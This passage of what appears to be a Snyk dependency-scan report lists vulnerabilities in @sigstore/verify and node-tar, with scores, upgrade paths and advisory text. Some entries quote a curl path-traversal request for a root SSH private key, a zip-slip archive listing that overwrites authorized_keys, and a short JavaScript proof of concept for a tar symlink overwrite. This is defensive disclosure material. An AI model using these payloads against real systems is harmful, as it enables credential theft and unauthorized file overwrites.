`integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub 